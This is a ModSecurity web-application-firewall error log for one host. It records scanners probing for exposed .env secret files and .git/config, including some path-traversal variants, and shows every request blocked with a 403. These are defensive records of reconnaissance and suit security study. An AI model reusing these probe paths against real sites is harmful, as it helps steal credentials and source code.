[Wed Nov 20 22:03:34.389202 2024] [:error] [pid 3432510] [client 179.43.189.138:57382] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;Zz5OppNIWEPqCpZJ2OSn0AAAAAI&quot;]
[Wed Nov 20 22:03:34.389433 2024] [:error] [pid 3432510] [client 179.43.189.138:57382] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;Zz5OppNIWEPqCpZJ2OSn0AAAAAI&quot;]
[Wed Nov 20 22:03:34.389615 2024] [:error] [pid 3432510] [client 179.43.189.138:57382] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;Zz5OppNIWEPqCpZJ2OSn0AAAAAI&quot;]
[Wed Nov 20 22:03:34.405655 2024] [:error] [pid 3432512] [client 179.43.189.138:57400] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;Zz5OprVdLJAhNWjSFbRVPgAAAAQ&quot;]
[Wed Nov 20 22:03:34.406146 2024] [:error] [pid 3432512] [client 179.43.189.138:57400] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;Zz5OprVdLJAhNWjSFbRVPgAAAAQ&quot;]
[Wed Nov 20 22:03:34.406462 2024] [:error] [pid 3432512] [client 179.43.189.138:57400] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;Zz5OprVdLJAhNWjSFbRVPgAAAAQ&quot;]
[Wed Nov 20 22:03:34.407019 2024] [:error] [pid 3432524] [client 179.43.189.138:57404] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;Zz5Opq6cv_oxOL4ro9C3DgAAAAU&quot;]
[Wed Nov 20 22:03:34.407449 2024] [:error] [pid 3432524] [client 179.43.189.138:57404] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;Zz5Opq6cv_oxOL4ro9C3DgAAAAU&quot;]
[Wed Nov 20 22:03:34.407713 2024] [:error] [pid 3432511] [client 179.43.189.138:57396] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /drupal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/.env&quot;] [unique_id &quot;Zz5OpvEOG8-BSstphSetNAAAAAM&quot;]
[Wed Nov 20 22:03:34.407781 2024] [:error] [pid 3432524] [client 179.43.189.138:57404] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;Zz5Opq6cv_oxOL4ro9C3DgAAAAU&quot;]
[Wed Nov 20 22:03:34.408091 2024] [:error] [pid 3432511] [client 179.43.189.138:57396] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/.env&quot;] [unique_id &quot;Zz5OpvEOG8-BSstphSetNAAAAAM&quot;]
[Wed Nov 20 22:03:34.408377 2024] [:error] [pid 3432511] [client 179.43.189.138:57396] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/.env&quot;] [unique_id &quot;Zz5OpvEOG8-BSstphSetNAAAAAM&quot;]
[Wed Nov 20 22:03:34.409731 2024] [:error] [pid 3437948] [client 179.43.189.138:57384] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wordpress/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/.env&quot;] [unique_id &quot;Zz5Oph0PkVhcHywN3vd_SgAAAAg&quot;]
[Wed Nov 20 22:03:34.410092 2024] [:error] [pid 3437948] [client 179.43.189.138:57384] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/.env&quot;] [unique_id &quot;Zz5Oph0PkVhcHywN3vd_SgAAAAg&quot;]
[Wed Nov 20 22:03:34.410430 2024] [:error] [pid 3437948] [client 179.43.189.138:57384] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/.env&quot;] [unique_id &quot;Zz5Oph0PkVhcHywN3vd_SgAAAAg&quot;]
[Wed Nov 20 22:03:34.411261 2024] [:error] [pid 3432509] [client 179.43.189.138:57406] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;Zz5OpgqaIhYhUwB3k80gWgAAAAE&quot;]
[Wed Nov 20 22:03:34.411573 2024] [:error] [pid 3432509] [client 179.43.189.138:57406] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;Zz5OpgqaIhYhUwB3k80gWgAAAAE&quot;]
[Wed Nov 20 22:03:34.411804 2024] [:error] [pid 3432509] [client 179.43.189.138:57406] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;Zz5OpgqaIhYhUwB3k80gWgAAAAE&quot;]
[Wed Nov 20 22:03:34.435876 2024] [:error] [pid 3432508] [client 179.43.189.138:57410] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /v2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;Zz5Opv1WQWOOTUAxsO_9YQAAAAA&quot;]
[Wed Nov 20 22:03:34.436284 2024] [:error] [pid 3432508] [client 179.43.189.138:57410] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;Zz5Opv1WQWOOTUAxsO_9YQAAAAA&quot;]
[Wed Nov 20 22:03:34.436600 2024] [:error] [pid 3432508] [client 179.43.189.138:57410] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;Zz5Opv1WQWOOTUAxsO_9YQAAAAA&quot;]
[Wed Nov 20 22:03:34.448603 2024] [:error] [pid 3437952] [client 179.43.189.138:57424] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;Zz5OphJMIISc8jslYUlC0gAAAAk&quot;]
[Wed Nov 20 22:03:34.449131 2024] [:error] [pid 3437952] [client 179.43.189.138:57424] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;Zz5OphJMIISc8jslYUlC0gAAAAk&quot;]
[Wed Nov 20 22:03:34.449518 2024] [:error] [pid 3437952] [client 179.43.189.138:57424] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;Zz5OphJMIISc8jslYUlC0gAAAAk&quot;]
[Sat Nov 23 09:13:14.589462 2024] [:error] [pid 3498455] [client 45.148.10.206:56254] [client 45.148.10.206] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z0GOmmS9vj_gNQPHhXOzfAAAAAQ&quot;]
[Sat Nov 23 09:13:14.591325 2024] [:error] [pid 3498455] [client 45.148.10.206:56254] [client 45.148.10.206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z0GOmmS9vj_gNQPHhXOzfAAAAAQ&quot;]
[Sat Nov 23 09:13:14.591609 2024] [:error] [pid 3498455] [client 45.148.10.206:56254] [client 45.148.10.206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z0GOmmS9vj_gNQPHhXOzfAAAAAQ&quot;]
[Wed Nov 27 14:09:42.163247 2024] [:error] [pid 3586430] [client 154.216.17.82:52439] [client 154.216.17.82] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z0caFr8Vc5nyfQkwcVtb8AAAAAI&quot;]
[Wed Nov 27 14:09:42.164449 2024] [:error] [pid 3586430] [client 154.216.17.82:52439] [client 154.216.17.82] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z0caFr8Vc5nyfQkwcVtb8AAAAAI&quot;]
[Wed Nov 27 14:09:42.164811 2024] [:error] [pid 3586430] [client 154.216.17.82:52439] [client 154.216.17.82] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z0caFr8Vc5nyfQkwcVtb8AAAAAI&quot;]
[Fri Nov 29 00:13:41.641906 2024] [:error] [pid 3628412] [client 179.43.189.138:57090] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css../.git/config&quot;] [unique_id &quot;Z0j5JZ8TNJfFMxXmIuV3sQAAAAM&quot;]
[Fri Nov 29 00:13:41.646763 2024] [:error] [pid 3628411] [client 179.43.189.138:57094] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content../.git/config&quot;] [unique_id &quot;Z0j5Ja4feGBFRzE8C9IKjAAAAAI&quot;]
[Fri Nov 29 00:13:41.647236 2024] [:error] [pid 3628411] [client 179.43.189.138:57094] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content../.git/config&quot;] [unique_id &quot;Z0j5Ja4feGBFRzE8C9IKjAAAAAI&quot;]
